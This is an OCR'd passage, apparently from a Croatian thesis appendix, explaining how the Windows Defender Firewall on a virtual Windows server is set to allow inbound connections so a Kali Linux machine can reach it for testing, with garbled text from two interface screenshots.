rada bilo je potrebno samo podesiti mogucnost udaljenog pristupa posluzitelju, od-
nosno potrebno je omoguciti komunikaciju s tim posluZiteljem, zato $to prema pret-
postavljenim postavkama interna sigurnosna stijena posluzitelja odbija sve pokusSaje

uspostave mrezen veze. Slika D.2 prikazuje graficko sucelje ugradene programske po-
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S i Windows Defender Firewall with Advanced Security
File Action View Help
LS & = | | H
P Windows Defender Firewall wit] [ R T Actions
K21 Inbound Rules ——
B3 Outbound Rules
B Connection Security Rules
B, Monitoring &) Export Palicy...
Overview

~ | Windows Defender Firewall with Advan... &

ﬁ Windows Defender Firewall with Advanced Security provides network securtty for Windows computers.

& Import Policy...

Restore Default Policy
Domain Profile
@ Windows Defender Frewal is on.

@ Irbound connections that do not match a rule are dlowed

Diagnose / Repair
View

6 Refresh

[E] Properties

H Hep

@ Outbound connections that do not match a rule are allowed

Private Profile

@ Windows Defender Firewall s on.

@ Irbound connections that do not match a rule are allowed
@ Outbound connections that do not match a rule are allowed
Public Profile is Active

@ Windows Defender Firewall s on.

@ Inbound connections that do nat match a rule are allowed,
@ Outbound connections that do not match a rule are allowed

B} Windows Defender Firewal Propetties

Getting Started

between

At T

Slika D.2: Prikaz sucelja Windows Defender sigurnosne stijene

drSke za mrezni segment sigurnosne zastite posluzitelja, Windows Defender Firewall.

Odavde je potrebno dopustiti uspostavu mrezne veze prema posluzitelju. Slika D.3 pri-

=14
File Action View Help

= |5  BE

eWmdow; Defender Firewall witl RUZESENE LR Windows Defender Firewall with Advanced Security on Local Com... X ! Actions
B2 Inbound Rules
Winds Defender Fi Il with Ads -
3 Outbound Rules g Domain Profile  Private Profile  Public Profile IPsec Settings indews Defender Firewall with Advan
= Windows Defendef

%% Connection Security Rules & Import Policy.
. Monit Specify behavior for when a computer is connected to its coporate:
E, Monitoring = ) Export Policy..

Overview State

Domain Profile # Rerlere On recommended) ~
'@ Windows Defender| Inbound connections: Hlow -

Restore Defautt Policy
Diagnose / Repair
¥ View
‘.(_l‘ Inbound connectior Outbound connections: Alow (default) ~
4 Refresh

@ Outbound ot -
© Outbound connecti Prolected network connections. Cusiomize... [2 Properties

Private Profile
Settings H Hep

@ Vindous Defender 7| Specty setungs thacortrol Windows
\Q\ Inbound connectior Defender Firewall behavior.

@ Oubound connecti

Customize

Logaing

Specify logging settings for
| troubleshooting. Customize...

Public Profile is A
'@ Windows Defender
@@ Inbound connector
@ Outbound connecti

B Windows Defender

Getting Started

Slika D.3: Omogucavanje uspostave mrezne veze s Windows posluZiteljem

kazuje konfiguraciju interne sigurnosne stijene Windows Defender aplikacije, kako bi
se omogucila uspostava mrezne veze s virtualnim Windows posluZziteljem. Konkretno
potrebno je opcije dolaznih veza (engl. Inbound Connections) promijeniti u stanje ’Do-
pusti’ (engl. Allow). Sada Linux distribucija Kali Linux moZe uspostaviti mreZne veze

s Windows posluZiteljem i testiranje moze poceti.
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